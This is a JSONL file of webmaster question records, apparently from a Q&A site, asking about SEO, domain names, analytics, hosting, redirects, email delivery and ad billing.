{"id":"16872","title":"How do I choose a domain name based on monthly searches for keywords?","text":"Suppose I have 3 domain name phrases: 1. thisisfirst.com (competition is 11% and global monthly search is 151,000,000) 2. thisissecond.com (competition is 5% and global monthly search is 33,50,000) 3. thisisthird.com (competition is 1%, global monthly search is 49,500, local search is 3,600) How can I decide which domain to use?"}
{"id":"47877","title":"SEO for Main Navigations","text":"My question is simple... To what extent does your primary navigation [and secondary navigations] have on SEO for your website? My particular case is this: I have \"two\" primary navigations. One that is served with specific styling for desktop users, and the other which serves styling for mobile users. By separate, I do mean I had two separate chunks of HTML for each. The primary navigation for the desktop was contained within `<nav>` tags, the other primary nav for mobile was just some `<div>`s with an ID That said, I combined these two HTML structure and the styles, the thinking was that I should have only one primary navigation. Now, a few months later I need to re-style the desktop side navigation, and it is proving very difficult as my mobile nav is very complex. My task would be 100 times easier if I could simply move back to having two separate HTML structures ofr the two separate navs. When browsing via mobile, the first set of html is set to display: none; and second set is display: block; Inverse that for browsing from Desktop. So Ultimately... **Is it safe SEO wise to have two \"iterations\" of my primary navigation, one using`<nav>` and one using `<div id=\"nav\">`?**"}
{"id":"16874","title":"How do I decide which domain name will rank better for my keywords?","text":"If I want to target the keyword phrases \"make fun\", \"make fun of\", and \"how to make fun of\", which is the best domain to choose of the following three and why? * makefun.com * makefunof.com * howtomakefunof.com Also, would it be good to purchase all three domain names and, if so, what should I do with them?"}
{"id":"50723","title":"Different result on Google search and browser","text":"A site is using one of my clients' registered trademark to get a good rank on Google search. When I search with that keyword I find that site on top of the search result but when I check that page with my browser and read the page source the keyword is not there! Recently we told that website admin to remove it and they told us that they've removed it. I requested support at Google to remove that page from cache but Google told us that **the cached pages could not be removed because the content, \"-----------\" is still active on the pages.** I need help to start how to find this content on that page."}
{"id":"12141","title":"How can I offer two different packages of a product with two different prices in Magneto?","text":"I wish to offer an item for sale as two different packages. Package 1 will be the product by itself and Package 2 will be the product with a free gift. How do I do this in Magento?"}
{"id":"22932","title":"Multiple mini websites on a domain","text":"I need to create about 500 different mini websites on the same domain. So that `www.mydomain.com` displays the general information, and `www.mydomain.com\/site1` displays the information for `site1` (as a mini- website) and so on. Each mini-website can have a number of webpages. Ideally, but not importantly, each mini website would have its own theme. I don't want to install a cms 500 times to achieve this, so I am wondering what other options are available. Could you please suggest? Thanks. Any questions let me know. Please note that search option is an important feature, for example, if I am visiting `www.mydomain.com\/site444`, and search for \"text\" then it should search within `site444` only (maybe to have a radio option to choose between search `site wide` or on `site444` only etc?)."}
{"id":"12147","title":"Just really confused about setting up my site on Amazon EC2","text":"So I have a site that is developed in ASP.NET MVC2. I use a local instance of SQL Server 2008 R2 to test with, and that's where all my tables\/stored procs\/etc. are. Now, I want find a web server for the site and make it available to the public, and still use SQL Server as the back-end so I can just like, copy my settings over and not have to change anything. Someone brought up Amazon EC2 to me. They said I can serve my site there, and have it work exactly the same (run on a Windows Server and use a SQL Server back-end). I have NO IDEA how to go about this. I've read through http:\/\/aws.amazon.com\/ec2\/ and it just confuses the hell out of me. I've never done something like this before. All of the different plans confuse me. Do they include data storage? Why do they say something like > 160 GB of local instance storage when talking about one of their Standard Instance plans, but then at the bottom, Data Storage prices are talked about separately? Would I have to change anything about the way my application sends\/receives data from SQL Server in order to have it up and running to the public using Amazons service? Also, do I just like...copy all of my code over to Windows Server, set it up in IIS, copy my database into their SQL Server instance, and it's good to go? I'm just really really confused, and I hope someone hear can shed some light on everything for me."}
{"id":"59709","title":"How to make sure Facebook knows that you're a publisher, not a brand?","text":"The past couple Facebook EdgeRank updates have penalized blatant advertisers & linkbait publishers like Upworthy, making it more difficult for many brand pages to get organic distribution. And it appears it will soon get even more difficult to achieve organic reach, especially for \"brand\" pages. How does Facebook determine what pages are owned by brands, and which are owned by publishers of substantive content. Are pages manually reviewed and added to a whitelist? Or is it all algorithmically determined. And is there anything a page manager can do to ensure his\/her posts are viewed by Facebook as content and not an ad?"}
{"id":"59874","title":"Regarding SEO, is repeating some content in different pages considered as keyword stuffing?","text":"We know that repeating keywords in one page is spam and Google calls it keyword stuffing. But, if we repeat some content in all pages of a website to help users, is it keyword stuffing too? For example we have 200 unique words in each page and about 200 other words to describe how to download and how to buy and what other services you may get from this website and etc. Or if we repeat some keyword in `<title>` of all pages like this: * `Download PDF: Article one` * `Download PDF: Article two` * `Download PDF: Article three` * etc. Is repeating **`Download PDF : Article`** in titles, spam or keyword stuffing? If not, is it a positive point to get more visitor from Google?"}
{"id":"45046","title":"(Google) Title of page not updated, everything else did","text":"My website changed significantly this month. Amongst the changes was the website's title. Two weeks ago, I finally used Webmaster Tools and submitted the page. So far, Yahoo and Bing have updated the title in the search results, but not Google. I've resubmitted via Webmaster Tools the website, and the bots have crawled the page, and have added \"content keywords\". But the title still doesn't match. The \"content keywords\" lists many of the words in the new title (but contains keywords of the existing title also). Must say that 4 of the top 5 key words in the \"significance\" list are the new title's. Still, no change. Any remedies for this problem? Is adding the \"alt\" tag for the logo significant enough to trigger the change? There isn't an appropriate place to put the company name between tags on the front page. Any suggestions? Thanks."}
{"id":"59873","title":"WordPress keeps redirecting my users to install.php, Is it caused by an injection hack?","text":"I don't really know how to express my problem, so bear with me. This is a bit hard to explain. I have a Wordpress installation, the latest, and often (once a day) my site redirects users to the `\/wp-admin\/install.php` file. Asking for my login credentials of course. I have tried reinstalling WordPress and still have not been able to figure what they are doing. That happens regularly. Also, a few hours later, I am able to see my site normally. Hope this makes sense. I suspect there myst be some database DoS that allows them to inject a redirect of some sort into my admin area, thus redirecting the user to said directory (`install.php`). But that's just me. I really have no clue what else could they be doing. I looked at the source code from several php files and noted some of them don't include a ?> tag. Could that be an issue? My hosting company is iPage, I've contacted them and they say there's nothing wrong with my files. Anyone have a clue? I can paste the code to any source file."}
{"id":"53629","title":"Why does navigating to http:\/\/ then redirect to https:\/\/ give mixed content warning?","text":"If I directly navigate to `https:\/\/scotthelme.co.uk` I get a green TLS indicator in the address bar. If I navigate to `http:\/\/scotthelme.com` which issues a 301 to `https:\/\/scotthelme.co.uk` I get a mixed content warning. The console in Chrome dev tools can't seem to tell me what the content loaded over http:\/\/ is, how do I find \/ what is the cause of the mixed content warning?"}
{"id":"58215","title":"Is it possible to purchase a dedicated IP without hosting?","text":"I require a static IP address for the sole purpose of fowarding to an existing domain. Is this possible? Does such a service exist? I am not interested in dedicated IP addons to hosting or any hosting at all."}
{"id":"9309","title":"Which image sharing websites supports file uploading dynamically via api","text":"I have been searching for image hosting website that displays images of a user in a nice and managed way. I want to upload the files to that image hosting website in my account of that website from a page in my website. i.e if i have a website `abc.com` then user browse my website `abc.com`. Uploads the file to my website. Now I want to transfer the uploaded file to the image hosting website so that it can be viewed by other users of that hosting website and get better visibility to world"}
{"id":"22938","title":"The danger of changing the domain of your portfolio","text":"So I have a online portfolio that is available at mervin-ux-portfolio.com but I am planning to change hosts since the current host I am hosting it with is hitting me with a very high yearly renewal rate. When I was inquiring about domain transfers ,,they told me that since I had not initiated the domain transfer within 14 days of the expiry of the domain ,they cannot do it immediately and it would take about two weeks to to release the domain name. Since I dont like the idea of my site being down for like 2 weeks ,I was wondering if I should start afresh with a new domain on a new host and what were the potential dangers of that ( I have the entire site backup,so creating a replica of the site on the new host wont be hard) I also wont be losing any business or work since I work full time currently but I was just wondering about the challenges in terms of getting my domain name back to the top of search results and basically getting it out there assuming I go the new domain name approach. I know this is strictly not an UX question but I was hoping people could give some suggestions on what I should do"}
{"id":"9658","title":"How can I call a URL as a cron job in Webmin?","text":"(Possibly this belongs on stackoverflow, although it's not really a programming issue since the code works when run directly. If it needs to be moved, though, no problem.) I have a PHP file (which consumers a National Weather Service web service via SOAP, if it matters) that I need to run on a scheduled basis. I'm trying to set up a cron job in Webmin. If I use an absolute path to the file in the Command field, when I run it I get some strange errors: \/var\/www\/html\/mysite.com\/test\/ndfdXMLclient.php: line 1: ?php: No such file or directory \/var\/www\/html\/mysite.com\/test\/ndfdXMLclient.php: line 2: \/\/: is a directory \/var\/www\/html\/mysite.com\/test\/ndfdXMLclient.php: line 3: \/\/DOCUMENTATION: No such file or directory \/var\/www\/html\/mysite.com\/test\/ndfdXMLclient.php: line 4: \/\/: is a directory \/var\/www\/html\/mysite.com\/test\/ndfdXMLclient.php: line 5: syntax error near unexpected token `\"running client code\",' \/var\/www\/html\/mysite.com\/test\/ndfdXMLclient.php: line 5: `error_log(\"running client code\", 1, \"myemail@gmail.com\");' The actual code in my file for those 5 lines looks like this: <?php \/\/ *************************************************************************** \/\/DOCUMENTATION FROM WEATHER.GOV ALL STORED IN xmlClientComments.txt \/\/ *************************************************************************** error_log(\"running client code\", 1, \"myemail@gmail.com\"); The code runs perfectly fine when I run it directly in my browser, so why doesn't webmin recognize it as code? (The same thing happens if I enter the actual URL in the command field - http:\/\/mysite.com\/test\/ndfdXMLclient.php.) I've never worked with webmin before; most of our hosts' cron control panels allow cron jobs to run PHP files like this with no issue. Is there some trick to getting webmin to read php as actual php?"}
{"id":"53622","title":"A domain that redirects to my site is ranked higher","text":"I have recently migrated my hosting provider and realised that when I did I had a lot of domains that didn't point anywhere or weren't in use. During the migration I just decided to 301 them all towards my blog rather than just have them being unused. As it turns out, over the course of the last 3 days one of these domains is now more highly ranked than my blog and I'm not sure what's happening. If you Google my name I want my blog to appear as high up as possible: https:\/\/www.google.co.uk\/search?q=scott+helme. My blog is the 2nd result (for me) and should be `scotthelme.co.uk` and not `eve-bay.co.uk` which is showing as if it were my blog. What has happened here? I wouldn't think a 301 would cause this behaviour and what remedy would you suggest?"}
{"id":"10127","title":"New website, plans to go large. How do you protect yourself?","text":"I'm planning to create a new site that (in hopes) will make it to a decent state of popularity and use. I have made sites before, but they weren't serious, with any intended purpose other than personal and friend use. I've never been able to find a solid post on good steps to protecting yourself, and your site\/idea before you start. This site will always be free, and will not be bringing it any revenue by ads or whatnot, but I plan to in the future and would want to make I'm in the clear legally for one. Do you need to copyright anything? Or anything of the same concept as copyright? Do I make an LLC to operate it under? Apologies for this extremely poorly written question, basically I want to be both legal, and I want to make sure nobody can just rip my idea or name(s). (I'm sure this will be more concise as questions here are asked) Thanks"}
{"id":"10436","title":"Browser window size statistics?","text":"I was wondering, are there any statistics available on what size users have their browser set to nowadays? I know the screen resolutions (we have analytics, which shows those as well) but I doubt a lot of people with 1280*xxx and higher still browse full-screen though. My boss is determined to keep our website 900px wide though, because that way people with 1800*xxx resolutions can have two browser windows next to eachother without having to scroll horizontally. I have never seen anyone browse with two adjacent browser windows like that except here at my current job, so I'm kind of doubting whether this is the best decision or just his personal preference. Anyone that can help out here?"}
{"id":"21742","title":"Background noise generator","text":"I want to make a noise background. Do you have any recommendation for texture generators? I want to input color, noise density and the tile size and get a png image. This is an example of such generator, but I want to try others: http:\/\/www.noisetexturegenerator.com"}
{"id":"49691","title":"How to add button on each MediaWiki article?","text":"I would like a button to appear on each article on my MediaWiki site, to make it easy to flag articles that should be reviewed. When the button is clicked it should add the category \"review\", and if the category is already there, it should remove the category from the article. **Question** Is this possible first of all? And if, does anyone know of code that is close to this, that I can modify?"}
{"id":"18875","title":"With Google DFP (Small Business) is it possible to disable AdSense in an Ad Slot on a per-request basis?","text":"**Setup** : I run a network of websites that target different hobby niches and have a section dedicated to community classifieds. I serve advertising on these sites through Google DFP for Small Business with AdSense enabled on the slots. **Problem** : One of the next sites in my network will be targeting the firearms\/shooting industry and as such the classifieds section will not comply with the prohibited content guidelines of AdSense regarding the sale (or coordination of sale) of weapons. I work very hard to comply with the guidelines of my partners even if I don't understand\/agree with them and after talking with many people have decided that the best option is to disable AdSense serving on that section of that website, while leaving it on for the rest of the network. **Solution** : Right now my only idea for this is to duplicate all my site's ad slots and tack a \"_sensitive\" onto the end of each one (eg. header and header_sensitive) conditionally registering ad slots based on whether or not I am in the sensitive section of the sensitive site. My hope however is that there may be a way to accomplish this without duplicating all my ad slots possibly with some sort of options to the GA_googleFillSlot() call that allows me to say \"load ads from this slot but do not serve AdSense no matter what.\""}
{"id":"18874","title":"Spammers or Spam bots clicking Adwords ads?","text":"One of my sites has a very high bounce rate from Google Adwords, especially over the last couple of days. Of course, it could just be that people are not finding the site relevant. But I'm wondering if it could be spambots or something like this. Can spambots click Google Adwords ads? Or do human spammers tend to click Adwords ads to find places to spam?"}
{"id":"63131","title":"How can I see in Google Analytics where my users came from?","text":"I am using Google Analitics and struggling to find where my users came from. I can see demographics (country \/ city) information, but struggling to find what site have they came from. I found this answer: > From your dashboard on the left side click > > * Traffic Source > * Sources > * All Traffic > But can not see this on my left side. It has * Dashboards * Shortcuts * Intelligence Events * Real-Time * Audience * Acquisition * Behavior * Conversions Can someone help me?"}
{"id":"62847","title":"Separate \"Editor\" domain for single Plone Site","text":"We currently run our Plone site across two servers, one (our DB server) that hosts the Data.fs & blobstorage and only runs the Zeoserver, and another (our App server) that runs four clients which are pointed to the DB server. We are looking to move to 2 App servers. Our goal is to have all users browse our site using App1, and then anytime a content manager needs to modify their content they will be directed to App2. This way all content management activity is on a separate server from user's and will not affect speed for them during our peak hours. Does anyone have any suggestions on the best way to approach this or if there is a better strategy for Plone site to keep the management stress from bogging down the user speed? We are using Windows Server 2008 running IIS 7 with Isapi Rewrite 3 to set the domain\/rewrite rules, do SSO with Active Directory, and so on. Then our Plone servers are running on Linux boxes on RedHat running the configuration described above. We are setting up a 2nd URL through DNS for the 2nd App server as well (something like edit.example.com) We would like to make it as easy on the content managers as possible. So our idea is, everyone goes to our site (example.com), then if they choose Edit, Check-out, Workflow, etc... it points that activity to the 2nd App server (edit.example.com). This way the managers don't have to keep up with 2 URLs, and when they are just browsing the site and not editing, they will be using the first server so it will be faster. We have something like 200+ content managers, and thousands of users, and the content managers are users for 90% of the site and only manage 10% of the site each....hope that made sense. Sorry for the long question, this is my first question here and I wanted to provide as much information as possible. Let me know if I can provide any additional information. Your time and help is much appreciated!"}
{"id":"31207","title":"Two websites at the same host but on different accounts to use the same database","text":"I have 2 websites and would like to use the same database for both sites. The MySQL database contains just a simple guestbook. The websites are one seperate hosting accounts, but with the same host. I'm looking to link the two sites to the database. Does anyone know if or how this is possible?"}
{"id":"8963","title":"Fonts: Is changing the default font a good practice?","text":"I've searched PW, but I saw that no one has asked specifically yet. Is changing the default font a good practice for the main body font? What are the pros and cons to using different fonts? This includes only font families, and excludes size, color, decoration, etc."}
{"id":"8962","title":"Is paypal's IPN reliable enough?","text":"I am creating my first ever major plugin for Wordpress and I intend to share it to the community. It integrates paypal's subscription button which is very useful for people who wishe to build a membership site using Wordpress. Question: Is IPN reliable enough that there's no need to control the subscription thru cron myself? I have not tested my plugin for a span of a month or so though because doing so would eat a lot of my time."}
{"id":"46905","title":"Where can I buy .ar domain names?","text":"I am having trouble finding a registrar that allows the purchase of one-off .ar domains."}
{"id":"8964","title":"Is (was) SEO the only reason to force the www. on domain names?","text":"Following on from a response to the question Force www. on multi domain site and retain http or https - I was wondering if SEO (specifically, avoiding duplicate content penalties) was the only reason for forcing the www. (or vice versa, if you prefer). Are there any other reasons why an authoritative domain name\/convention would be desirable?"}
{"id":"44728","title":"Email not sending to\/from all Microsoft domains after adding dedicated IP and SSL (Hotmail, Outlook, Yahoo!)","text":"I have never experienced this type of issue before, so I don't know where to begin searching to be able to troubleshoot or fix the problem. Also, I hope this is the correct SE website for this type of question. I launched a website last month for a friend's business and helped him set up his email, etc. The site is hosted on my turnkeyinternet.net reseller account. It is the Professional I account. A few days ago he needed to add SSL and, obviously, a dedicated IP. The reseller account comes with 2 free dedicated IP addresses and a free OneClick SSL. I gave him one of my dedicated IPs and the OneClick SSL. TurnKey set up both of these for me. The IP two days ago and the SSL yesterday. Today, my friend called me and told me that one of his clients was getting a bounce-back email when trying to send him an email at his domain name. His client said it first happened two days ago (the same day TurnKey set up the dedicated IP). This was from a @hotmail.com account. I began testing and found that this issue was with all Miscrsoft affiliated addresses: Hotmail, Yahoo, Outlook, Live (and I assume any professional email addresses hosted by these services or that use these as an email client). I confirmed with my friend AND his client that prior to the changes made by TurnKey, they were both sending and receiving each other's emails. I contacted TurnKey and their response was: \"Nothing has changed on our end as far as the mail server\/DNS. It seems these providers are simply blocking email sent to the IP in question. Yahoo\/hotmail are blocking the emails so it's up to them to whitelist or allow them to go through.\" His website does not have a newsletter and he hasn't sent mass mail. It is obvious to me that whatever changes TurnKey made caused this issue. They will not help me and I don't know where to begin to troubleshoot. **UPDATE** I received an email from TurnKey this morning stating, again - \"This has nothing to do with any IP or SSL's being recently changed\/updated\/installed or otherwise.\" However, my friend called me and said he tested everything again this morning and everything is working correctly with Microsoft email addresses. This makes me wonder if TurnKey discovered their mistake, fixed it, then lied about making the mistake."}
{"id":"65212","title":"When advertising on Facebook, avoid paying for comments, likes, and shares","text":"We have an ad campaign running on Facebook. Our goal is to get users to subscribe to our newsletter by visiting the site and subscribing. We noticed a discrepancy between the number of clicks recorded in Google Analytics (600) and the number of clicks billed by Facebook (1000). It turns out that the 600 clicks that we see are what Facebook calles \"website clicks\". The other \"clicks\" are all activity on Facebook itself: likes, share, and comments. When I started this campaign, I had no idea that Facebook would be charging me for comments, likes, and shares. Those activities can in no way contribute to my goal of getting users to subscribe and I would like to avoid being charged for them. Which of these options are available? * Run a cost per action (CPA) campaign on Facebook * Configure my campaign to only bill for website clicks * Disable likes, share, and comments on my ads * Lower my bids by 40% to account for the clicks that are not website clicks * * * By this point, we experimented with lowing our bids. It doesn't seem to help much. Here is a summary of the bids we have tried: * 45¢ bid -- 60¢ per website click * 25¢ bid -- 62¢ per website click * 16¢ bid -- 58¢ per website click It appears that as you decrease your bid, Facebook shows the ad to users that are more likely to like and share and less likely to click on your website."}
{"id":"39687","title":"Effects of Active Virus Scanner on WebApp for XS Azure VM","text":"Suppose a public WebApp is hosted on an EXtra Small (XS) Azure Virtual Machine (VM). What benefits and\/or performance problems might visitors experience if a Memory-Resident Virus Scanner is run on that VM?"}
{"id":"26394","title":"community driven video platform","text":"I am looking for a platform to build a community-driven education video site. We already have quite a few community web-apps runing on python\/django, so something based on these technologies would be easier to integrate with the existing apps. The content will also include recorded courses, so integration with course-capturing tools is a desired feature. Kaltura seems to provide many of the things I'm looking for, but the Python support seem to be on early stages. Any suggestions?"}
{"id":"58231","title":"How to Unlock the Not Set Keywords in Google Analytics?","text":"I am getting “not set” in keyword report section of Google Analytics data. May I know any method to retrieve the search terms\/ keywords from the not set data? May I know what are the factors that can result in showing the “not set” result in Google Analytics?"}
{"id":"65216","title":"Is more weight given to links in heading tags in terms of SEO?","text":"Do links in heading tags on a website give more weight than links in normal text?"}
{"id":"59489","title":"Rewriting half of a low-ranking article - is it better to delete it and create a new webpage?","text":"There's an article on my blog, half of which I'm thinking of rewriting, and this got me thinking. Is it a better idea to delete the article, rewrite the second half, then repost it on a new webpage - or is it better to keep the original webpage and rewrite the second half there? On one hand, the article has currently fallen in ranking for some of the keywords I wanted, so it might have racked up a bad reputation based on how readers respond to it (% people clicking back onto the SERPs, average visit time etc.) which might be detrimental to the rewritten article on the same page. On the other hand, it does have some links and Facebook likes - and the duplicate content which comes from the first half of the original post might be detrimental for the new webpage. Any takes on this? Let me know if there's any other information you need. Thank you."}
{"id":"1643","title":"How do I specify the Google sitemap generator destination directory","text":"Is there a way to specify the location of generated sitemap files using the lastest version of the Google Sitemap Generator? _Version is: 1.0.0.0? (a very un-google version number, lol):_ > sudo \/usr\/local\/google-sitemap-generator\/bin\/sitemap-daemon -v Google Sitemap Generator (Beta) Version [1.0.0.0] The dashboard has a option of \" _Sitemap file name_ \" but there is no option to specify the destination directory? It always places the generated sitemap XML files in the **document root**. I assume it _discovers_ the document root from reading the webserver logs. > _Why do I want to put the sitemap files in another directory?_ The document root is **no good** for our deployment method because it is a symlink to the current deployment directory which changes daily. In order for the sitemaps to appear as if they are at the url root (i.e. `http:\/\/www.example.com\/sitemap.xml`), we use a alias rule to map XML files to where we actually keep them, e.g. using nginx: # Alias all XML files (e.g. Rss) to shared directory location ~* \/(.*\\.xml)$ { alias \/var\/www\/live\/shared\/xml\/$1; }"}
{"id":"49962","title":"IP Address headers (Remote_Addr) - When is this header sent by the browser?","text":"I want to know when a browser includes the header - `Remote_Addr` in the HTTP request. I observed the request sent by the browser on loading `stackoverflow.com`, in the web console window of Firefox. There were no headers pertaining to IP address sent. So, does this mean the browser never sends this header along with a HTTP request?"}
{"id":"41036","title":"SEO Removal Time?","text":"I was searching about removing the a domain\/site being listed in Web Search Results (like, Google Search) and i found solution, at here. I believe it will be the solution but what i still need to know is: * How **long will it take** to bring down my Website being listed from Search Engine Results?"}
{"id":"9915","title":"Will content from my site's RSS feed that is published on other sites be considered duplicate content by search engines?","text":"I know Google is giving a penalties for websites with duplicate content. What happens if I'm having an RSS feed with news articles and other sites publishes on their website my news? Isn't it duplicate content?"}
{"id":"65569","title":"Does Google read JPEG comments?","text":"I usually add some description in the JPEG comment when I'm exporting images from GIMP. I was wondering if Google will read those descriptions and show the images when I search for their description. Also what about other search engines?"}
{"id":"68711","title":"Can Google AdSense be approved and run on a creative site with original wallpaper art and little text content?","text":"I like to make creative images like on happy new year and other topics. It's a fun thing to do. I had a WordPress blog and I used to get a lot of visitors: once it hit 10,000 a day. So I applied for Google AdSense. I got rejected and the reason they mentioned was \"Too little content\". At that time my blog had 200 creative wallpapers created by me. Then I purchased a domain name and set up my website on that and now I have a big collection. I want to apply for AdSense so I Googled and found many helpful articles about what to include and what not to. I made those changes but there is one particular thing that I am seriously confused about. Everywhere says \"content is king\". You should have 400+ word articles. But I don't write. My website does not contain written articles. It has creative wallpapers which can be used commercially or non-commercially. When Google rejected my blog for too little content, do they mean that only 200 wallpapers is not enough and I should include more? Is it saying that I should write articles on each wallpaper or post like 400+ words?"}
{"id":"67593","title":"Should I track the login page?","text":"I've recently started using Google Analytics on a B2B ecommerce site with authentication. Users must login and are redirected to the login page if they try to access an internal page without first logging in. The login page is clever enough to forward them to the original page once logged in. Tracking is installed on the login page (\/login.aspx), but this means that EVERY session includes at least two page views, which I suspect will affect the bounce rate (?), and every session starts at \/login.aspx, which is skewing analysis. I am considering removing the tracking from the login page, and wondered if anyone had any advice for why I should keep it there? TIA"}
{"id":"41038","title":"Site part extraction domain practice","text":"My client is forced to extract a substantial part of his websites content and place it in a separate context, that is not part of the original structure. The current structure domain.com\/brand\/ The original domain has got a long-standing history, with a relatively good page-rank and many sites linking to it and it's contents. The options are these: * place the site part in question to a subdomain of the origial one? brand.domain.com\/ -OR- * Create a new domain? branddomain.com\/ The contract didn't specify this in detail, and we'll lose some of the value of the original site, and we're looking into this because we want to minimize our losses. So, which one should be considered as 'best practice'?"}
{"id":"579","title":"Are there any downsides of including google-analytics on your website?","text":"I am in particular concerned with legal implications due to strong privacy legislations. However, I was also thinking about performance and false results by users blocking it."}
{"id":"44312","title":"How important are headings in SEO","text":"I have a website that sells music artists posters. Each artists has a page containing a small bio, and a list of posters we are selling representing the artist. Currently our HTML looks like that <h1>{Artist name}<\/h1> bio <h2>Posters<\/h2> <ul> <li class=\"poster\">...<\/li> ... <\/ul> We are redesigning this page, and we have a new template that we really like. Problem is that in this new version the `<h2>Posters<\/h2>` does not appear anywhere on the page. As you might expect, a significant part of our traffic comes from people typing something like : \"{Artist name} poster\" on Google. I fear that, by removing the word \"poster\" from the page, we will reduce our chances of getting these people to come to the site, since Google might down rank us. I see several options here : 1. Give Google a slightly altered page that contains the `H2` tags. But I think this falls into the \"Black Hat SEO\" category. And I don't want that. 2. Put the heading. Hide it with CSS. Everyone wins, including accessibility tools which can determine the structure of the page using the \"invisible\" heading. But I do not know if this is considered a good practice. 3. Forget about the heading, and find other ways to tell Google that we really are about posters. (via keywords, but do they really have the same \"weight\" as an `H2`?) 4. Adapt the design to our SEO need, and find a way to put that heading nicely. Are there webmasters out there that have been facing the same issue, how did you resolve it?"}
{"id":"67231","title":"Allow\/Make search engine to index images hosted on third party","text":"I have my personal blog website and using Dropbox to host images (through public folders) and use them in my blog website. Is their any way to index those images in search engine like Google. I have created an image sitemap which contains URLs of images both hosted on my blog directly as well as Dropbox and added that image sitemap to robots.txt. Not sure if this works particularly for Dropbox hosted images?? Google Webmasters portal shows me as a warning \"Robots.txt prohibits the URLs\" of dropbbox hosted images. Any way out??"}
{"id":"67420","title":"Do all the pages on a website help the homepage's SEO?","text":"When it comes to SEO, I hear the saying \"content is king\" a lot, so I tried to create a bunch of pages on my site with good authentic content. However, does creating a lot of content on a page or several pages help the homepage when it comes to SEO or is it every page for themselves? Will making an \"About\" page for my website with good SEO help my homepage with SEO, or do I need to focus directly on the content of my homepage itself? It seems, a lot of my pages that are not my homepage page are showing up in search results over my homepage. My homepage has some content, but a little less than other pages which are coming up before it in search results. I'm wondering if I'm taking the right approach."}
{"id":"9457","title":"apache domain redirect to subfolder","text":"I have a hosting account with godaddy. Its a linux system running apache. The way they do their setup is your primary domain is the root folder. When you add a subdomain its in a subfolder of the root which sucks. I want to setup a subfolder structure to organize my domains.. I called godday support and they said to use redirects.. but did not know how to do that.. How its setup now: primary domain: > www.domain.com \/ > sub.domain.com \/sub I want to create a directory structure and then redirect to each but only show www.domain.com in the url > www.domain.com \/domain\/www > sub.domain.com \/domain\/sub I tried using: RewriteEngine On RewriteCond %{HTTP_HOST} ^(www.)?domain.com$ RewriteRule ^(\/)?$ domain\/www [L] but it just changes the url to www.domain.com\/domain\/www Can this be done in htaccess?"}
{"id":"67237","title":"DNS for domain shows old website for www version","text":"I bought 2 domains form GoDaddy but with both I am seeing the same problems in that the domain on the `www` version goes to the old site which is still being hosted. I have checked the IntoDNS website and in the `www` record it shows: Your www.example.com A record is: www.example.com -> example.typepad.com -> cname-cloudflare.typepad.com -> What can I do to stop this from happening? Will this eventually be automatically removed and fix itself? Though obviously it's not automatically fixed itself in the long drawn out expiry process... It's been quite a while for one of them and still hasn't propagated for the `www`. I'm not having any problems with the normal `example.com` part of the site."}
{"id":"574","title":"\"Progressive\" JPEG: Why do many web sites avoid rendering JPEGs that way? Pros, cons?","text":"When JPEG images are used by a web page, they are typically rendered top-down ... but they can also be rendered using a mode called **progressive JPEG** , where the image starts out **full-size** , but _blurry_ , and then gets sharper with successive passes, until it's fully loaded. **Progressive** loading requires the image have been saved that way. Why don't more web sites use progressive JPEG? What are the drawbacks? Is it simply a lack of tool support, or are these files somehow inferior to traditional top-down rendered JPEG images?"}
{"id":"2809","title":"How can I tell Google Analytics to not use cookies for my sub domain?","text":"I have my web site at `example.com`, and i have also setup a sub domain for serving static content at `static.example.com`. On my web pages I'm using Google Analytics, so it will attach its cookies to all page request, even on `static.example.com`. I went into the GA settings and added a filter to exclude `static.example.com`, but I still see cookies (with the `__utma`.. name) on all web requests to my static domain. How can i prohibit GA to use cookies on my sub domain?"}
{"id":"18291","title":"How do you 'do' SEO past on-page optimization?","text":"This may seem like a fairly trivial question, but in it's most basic form - How do you _do_ SEO? To go into a little more depth, presume the website in question that we want to optimize is 100% complete as far as on-page optimization goes - great content, perfect SEO-friendly HTML markup. I don't consider myself 'new' to SEO at all, but past this point it seems like the most obvious activity is link building. I don't know if it's just me, but I'm finding this incredibly hard. If it were a humour site with lots of viral content, I would just post my content in humour threads on various forums and let links accrue naturally, but the site in question is a commercial site - online store - and I can't think of anywhere that might want to link to my content. I don't want to spam and my understanding is that submitting to random directories is of little to no value since my site has already been indexed by Google (past point of indexation, I doubt adding any further links would have much\/any value at all). My target audience are 'installers', so short of looking for 'installer' forums relative to my company's products, I'm not sure where else would be relevant. An obvious step for where to start would be to analyse our competitor's back links, but most of those are spammy directories or from a 'SEO firm' which have just used their link farm. There is the odd giant site that has links from websites like the BBC to pages not relevant to the products on offer, but there isn't much we could offer in the way of alternative content that would invoke people to link to us either. Ideas? My question is applicable to any site, not just e-commerce. I guess my main problem is that my target audience aren't of a generation that live and breath the internet, meaning there aren't many relevant websites to gain links from. How do you sit down and 'do' SEO past on-page optimzation? Presumably link building. If you have an audience that aren't likely to be webmasters themselves, you don't stand a chance of being linked to, so where do you turn? (Obviously I undertake other marketing activities - we have a healthy base of 3-5k emails (given willingly at exhibitions\/trade shows) that we can use to promote ourselves, as well as social networks and so on, but we are only really promoting ourselves to people that already know about us. We need to expand - with SEO being probably one of the most promising ways to do so (in theory))."}
{"id":"18290","title":"What are the challenges for a non-technical person running a web based business?","text":"A friend of mine is starting a business. The business model is that his website is the medium through which businesses compete with each other and bid to provide a service to members of the public. He has no technical background but he knows the industry he's servicing well. He hired a web design company to create the site and the idea is that once everything is up, the site will kind of manage itself in that consumers will put up requests to be bid on, businesses will bid to provide the service and consumers will accept bids. Given that he has no technical background, it's unlikely that he will be able to resolve any technical issues. What kind of support should he seek from the web design company post-launch? He can't afford to have a full-time technical person on the payroll right now. what are the likely problems he can expect to run into? I'm thinking things like browser incompatibility as updates come out. Potentially performance issues as traffic ramps up if it takes off."}
{"id":"2803","title":"Cloud hosting vs dedicated hosting: advantages and disadvantages","text":"I'm currently looking for a hosting company that can provide a very solid service with a 100% SLA. In the search both cloud hosting and managed dedicated hosting have come up. (I'd rather not manage the server myself as I'm still rather new to Linux.) I'm not sure if phrasing this as a \"which is best\" would make sense, but what advantages does cloud hosting have over dedicated server hosting? I need a reliable service above all else, and some elements of the application to be hosted will be relatively CPU intensive, although those spikes in CPU usage will be sporadic, so the hosting needs to be able to deal with that."}
{"id":"24218","title":"How to control what appears on google search results?","text":"So I have just built a site and all is well... but I want to control what appears on google search results. Lets say I google for \"thefwa\", first what comes is the link to www.thefwa.com, then underneath is a list of pages on that site with preview and a link \"More results from thefwa.com\". How can I tell google to display my chosen content\/pages? Do I use robots.txt or sitemap.xml? Because now the pages that are associated with my site are displayed kind of random. Is it possible to tell google what to display?"}
